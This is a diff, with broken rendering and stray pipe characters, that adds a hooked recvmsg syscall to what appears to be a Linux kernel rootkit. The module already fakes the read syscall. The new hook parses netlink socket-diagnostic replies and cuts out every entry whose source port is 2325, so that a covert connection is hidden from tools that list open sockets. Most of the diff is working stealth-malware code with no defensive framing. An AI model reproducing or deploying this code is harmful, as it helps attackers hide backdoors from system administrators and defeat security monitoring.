|
|
@ -27,6 +27,7 @@
|
|
|
|
*******************************************************************************/
|
|
|
|
*******************************************************************************/
|
|
|
|
|
|
|
|
|
|
|
|
sys_read_ptr sys_read_orig;
|
|
|
|
sys_read_ptr sys_read_orig;
|
|
|
|
|
|
|
|
original_recvmsg_syscall sys_recvmsg_orig;
|
|
|
|
|
|
|
|
|
|
|
|
/*******************************************************************************/
|
|
|
|
/*******************************************************************************/
|
|
|
|
|
|
|
|
|
|
|
@ -106,3 +107,79 @@ asmlinkage long sys_read_fake(unsigned int fd, char __user *buf,
|
|
|
|
// return number of bytes read
|
|
|
|
// return number of bytes read
|
|
|
|
return result;
|
|
|
|
return result;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* Function that replaces the original `recvmsg` syscall. Initially, it calls the original
|
|
|
|
|
|
|
|
`recvmsg` which fills the given msg buffer. We realize whether we are reading from a netlink
|
|
|
|
|
|
|
|
socket with the help of some netlink utility macros. If a netlink socket is being used, we
|
|
|
|
|
|
|
|
iterate through the inet diag msg structs (each prepended by a nlmsghdr) and compare the
|
|
|
|
|
|
|
|
source and destination ports with our list of hidden ones. In order to hide an entry we copy
|
|
|
|
|
|
|
|
the remaining entries over it and adjust the data length which is returned to the user. */
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
asmlinkage ssize_t my_recvmsg_syscall(int sockfd, struct user_msghdr __user *msg, unsigned flags)
|
|
|
|
|
|
|
|
{
|
|
|
|
|
|
|
|
long ret;
|
|
|
|
|
|
|
|
struct nlmsghdr *nlh;
|
|
|
|
|
|
|
|
long count;
|
|
|
|
|
|
|
|
int found;
|
|
|
|
|
|
|
|
char *stream;
|
|
|
|
|
|
|
|
int offset;
|
|
|
|
|
|
|
|
int i;
|
|
|
|
|
|
|
|
struct inet_diag_msg *r;
|
|
|
|
|
|
|
|
int port;
|
|
|
|
|
|
|
|
/* Call original `recvmsg` syscall */
|
|
|
|
|
|
|
|
ret = sys_recvmsg_orig(sockfd, msg, flags);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* Some error occured. Don't do anything. */
|
|
|
|
|
|
|
|
if (ret < 0)
|
|
|
|
|
|
|
|
return ret;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* Extract netlink message header from message */
|
|
|
|
|
|
|
|
nlh = (struct nlmsghdr *)(msg->msg_iov->iov_base);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* Number of bytes remaining in message stream */
|
|
|
|
|
|
|
|
count = ret;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* Set flag specifying whether message contains data to be masked */
|
|
|
|
|
|
|
|
found = 1;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* NLMSG_OK: This macro will return true if a netlink message was received. It
|
|
|
|
|
|
|
|
essentially checks whether it's safe to parse the netlink message (if indeed
|
|
|
|
|
|
|
|
is a netlink message) using the other NLMSG_* macros. */
|
|
|
|
|
|
|
|
while (NLMSG_OK(nlh, count)) {
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if (found == 0)
|
|
|
|
|
|
|
|
/* NLMSG_NEXT: Many netlink protocols have request messages that result
|
|
|
|
|
|
|
|
in multiple response messages. In these cases, multiple responses will
|
|
|
|
|
|
|
|
be copied into the `msg` buffer. This macro can be used to walk the
|
|
|
|
|
|
|
|
chain of responses. Returns NULL in the event the message is the last
|
|
|
|
|
|
|
|
in the chain for the given buffer. */
|
|
|
|
|
|
|
|
nlh = NLMSG_NEXT(nlh, count);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
r = NLMSG_DATA(nlh);
|
|
|
|
|
|
|
|
port = ntohs(r->id.idiag_sport);
|
|
|
|
|
|
|
|
if(port == 2325){
|
|
|
|
|
|
|
|
/* Message contains data to be masked */
|
|
|
|
|
|
|
|
found = 1;
|
|
|
|
|
|
|
|
}else{
|
|
|
|
|
|
|
|
found = 0;
|
|
|
|
|
|
|
|
continue;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
stream = (char *) nlh;
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* NLMSG_ALIGN: This macro accepts the length of a netlink message and rounds it
|
|
|
|
|
|
|
|
up to the nearest NLMSG_ALIGNTO boundary. It returns the rounded length. */
|
|
|
|
|
|
|
|
offset = NLMSG_ALIGN((nlh)->nlmsg_len);
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* Copy remaining entries over the data to be masked */
|
|
|
|
|
|
|
|
for (i=0 ; i<count ; i++)
|
|
|
|
|
|
|
|
stream[i] = stream[i + offset];
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
/* Adjust the data length */
|
|
|
|
|
|
|
|
ret -= offset;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
return ret;
|
|
|
|
|
|
|
|
}
|
|
|
|
|
|
|
|
|
|
|
|